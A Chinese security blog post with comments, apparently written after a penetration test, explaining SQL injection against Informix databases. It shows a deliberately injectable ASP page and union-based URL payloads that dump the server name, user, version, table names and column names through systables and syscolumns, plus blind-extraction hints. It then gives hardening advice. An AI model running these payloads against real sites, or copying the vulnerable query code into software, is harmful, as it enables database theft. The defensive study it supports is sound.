informix注入整理

Author:poison/amxku 

个人拙见,前些时间做一个渗透测试,数据库是informix的。整理了一下。

informix数据类型比较复杂,在union查询中最郁闷的就是匹配字段的问题
数据类型如下
Informix的字段类型

  1. char(size)  
  2. varchar(size)  
  3. serial  
  4. nchar(size)  
  5. nvarchar(size)  
  6. real  
  7. interval  
  8. date  
  9. datetime  
  10. integer  
  11. smallint  
  12. float  
  13. smallfloat  
  14. money(p,s)  
  15. decimal(p,s)  
  16. text  
  17. byte  

如果字段数量和类型都匹配了 那么得到数据很容易
****************************************************
测试环境:

  1. create table test(name char(32),id int)  
  2. ****************************************************  
  3. ASP代码  
  4. ====================================================  
  5. <%  
  6. Set conn=Server.CreateObject("ADODB.CONNECTION")  
  7. Set rs=Server.CreateObject("ADODB.RecordSet")  
  8. conn.open "dsn=poison;uid=informix;pwd=xxxxxx"  
  9. id=request("id")  
  10. strSQL = "select name from test where id=" & id  
  11. set rs=conn.execute(strSQL)  
  12. response.write(rs("name"))  
  13. rs.close  
  14. conn.close  
  15. %>  
  16. =====================================================  
  17. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20dbservername%20from%20systables;  
  18. dbservername,返回数据库服务器的名称  
  19. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20user%20from%20systables;  
  20. user,返回执行查询的用户的用户名(登陆帐户名)  
  21. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20to_char(today)%20from%20systables;  
  22. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20to_char(dbinfo('sqlca.sqlerrd1'))%20from%20systables;  
  23. 返回任何表中插入的最后一个SERIAL值  
  24. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20to_char(dbinfo('version',%20'full'))%20from%20systables;  
  25. ***************************************************************************************************************************  


得到任何数据
两个重要的系统表

  1. systables:描述数据库中的很张表;    
  2. syscolumns:描述数据库中表的列;    
  3. ==============================================  
  4. select * from systables  
  5. tabname          syscolumns  
  6. owner            informix  
  7. partnum          1048580  
  8. tabid            2  
  9. rowsize          157  
  10. ncols            10  
  11. nindexes         2  
  12. nrows            2353.000000000  
  13. created          04/28/2008  
  14. version          65539  
  15. tabtype          T  
  16. locklevel        R  
  17. npused           25.00000000000  
  18. fextsize         32  
  19. nextsize         32  
  20. flags            0  
  21. site  
  22. dbname  
  23. type_xid         0  
  24. am_id            0  
  25. pagesize         4096  
  26. ustlowts         2008-04-28 22:26:00.00000  
  27. secpolicyid      0  
  28. protgranularity  
  29. ==================================================  
  30. select * from syscolumns  
  31. colname      tabname  
  32. tabid        1  
  33. colno        1  
  34. coltype      13  
  35. collength    128  
  36. colmin       541543519  
  37. colmax       1937339256  
  38. extended_id  0  
  39. seclabelid   0  
  40. colattr      0  
  41. ===================================================  

这样就可以得到任何表任何列的信息了

  1. http://127.0.0.1/aaa.asp?id=1%20and%201=1%20union%20select%20to_char(count(*))%20from%20systables  

因为informix中利用first n 经常会出现"Cannot use "first", "limit" or "skip" in this context"的问题
(我也不知道什么原因 一些工具也就无法递归猜解数据)
systables 中tabid顺序排列 可以穷举得到所有表名

  1. http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1  
  2. http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n  

得到tabid和tabname的对应关系

  1. and 1=2 union select colname from syscolumns where tabid=1  
  2. http://127.0.0.1/aaa.asp?id=1%20and%2201=2%20union%20select%20colname%20from%20syscolumns%20where%20tabid=100%20and%20colno=1  
  3. http://127.0.0.1/aaa.asp?id=1%20and%2201=2%20union%20select%20colname%20from%20syscolumns%20where%20tabid=100%20and%220colno=2  
  4. http://127.0.0.1/aaa.asp?id=1%20and%2201=2%20union%20select%20colname%20from%20syscolumns%20where%20tabid=100%20and%20colno=n  

得到tabid=100 对应表的所有列
表列都有了 直接暴数据
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以为以为去猜 和ACCESS没什么太大的区别
注意只是一些函数的差别
length长度
substr 返回字符串中的某一部分,例substr(col,1,2)
substring 返回字符串中的某一部分,例substring(col,from 1 to 4)
我没有找到ASCII转化的函数
可以用字符表示 例'a'=substr(admin,1,1)
或者用十六进制函数
hex返回表达式的十六进制数

保护informix

为服务器持续打补丁
每当IBM发布新补丁的时候,应该尽可能地测试这些补丁并将其部署到生产系统上去
加密网络通信量
应该加密服务器和客户机之间的通信量。这有助于保护用户账户以及阻止通过网络窃取数据。通过使用Communication Support Module(通信支持模块)可以实现这一点。请参看Informix Server Administrator’s Guide(Informix服务器管理员指南)

取消Public的Connect特权
默认地,public被授予了connect特权。这意味着任何人,只要持有有效的操作系统用户ID和口令,都可以连接到数据库服务器。

启用审计
应该对关键事件进行审计,例如登陆尝试失败。更多细节请参看Administrator's Guid或者Trusted Facility Guide。

取消Public对文件访问例程的权限
默认地,public可以执行文件访问函数,例如lotofile、filetoclob和ifx_file_to_file。这将允许攻击者读、写服务 器上的文件。为帮助解决这一安全漏洞,创建一个名为FileAccess的角色,按照严格的业务需求,只把那些需要访问文件的用户分配为该角色的成员。然 后为该角色分配对文件访问例程的执行权限,并取消public的执行权限。
取消Public对模块例程的执行权限
默认地,public可以执行模块函数,例如ifx_replace_module、ifx_load_internal和reload_module。 这将允许攻击者强制Informix服务器加载任意的库并像Informix用户一样执行代码。为帮助解决这一安全漏洞,创建一个名为 ModuleAccess的角色,按照严格的业务需求,只把那些需要加载模块的用户分配为该角色的成员。然后为该角色分配对这些例程的执行权限,并取消 public的执行权限。
阻止转储共享内存
在服务器崩溃事件中,可以将Informix配置为将共享内存段转储到磁盘。这是默认配置。因为这些转储文件是完全可读的且包含用户名和口令,将 Informix配置为不转储共享内存将更合适。为此,编辑onconfig文件并将DUMPSHMEM参数设置为0。然后停止并重启服务器。
阻止对基于Unix的服务器的本地攻击
Informix遭受的基于Unix平台的大部分本地安全问题都源自setuid root程序和setgid Informix程序。为了列举所有这样的程序,转到$INFORMIXDIR/bin目录下并发出下面的命令:
find ./ -perm +4000
这将列举bin目录内的全部setuid程序。防止本地用户攻击setuid程序的最简单的办法是删除other的执行权限;实际上,可以简单地删除others的全部权限:
chmod * o-rwx

限制语言Usage权限
应该限制被授予了C和Java例程语言usage权限的用户的数量。拥有这些语言的usage权限的任何人都可以像Informix用户一样运行代码。

有用文档,下述文档值得一读:
IBM Informix Dynamic Server Administrator’s Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL:http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf

关键词: informix , 加固 , 注入 , 攻击 , 原创

上一篇: 针对Oracle的TNS listener的攻击方法整理
下一篇: MPLS

相关文章
访客评论
#1
回复 路过 2008-05-24, 18:57:10
IBM,现在好像都用DB2了吧,informix现在用得好像蛮少了。
没怎么关注过
#2
回复 laozang 2008-05-26, 14:05:31
交换个链接http://lovelaozang.cn
#3
回复 zeta 2009-04-29, 23:21:57
连续碰上二个informix数据库的server    偶太命苦了
#4
回复 zeta 2009-04-30, 16:42:44
dbservername  应该是当前数据库的服务名,不是服务器名吧?
系统表里似乎没看到有当前服务器名的内容.
发表评论

评论内容 (必填):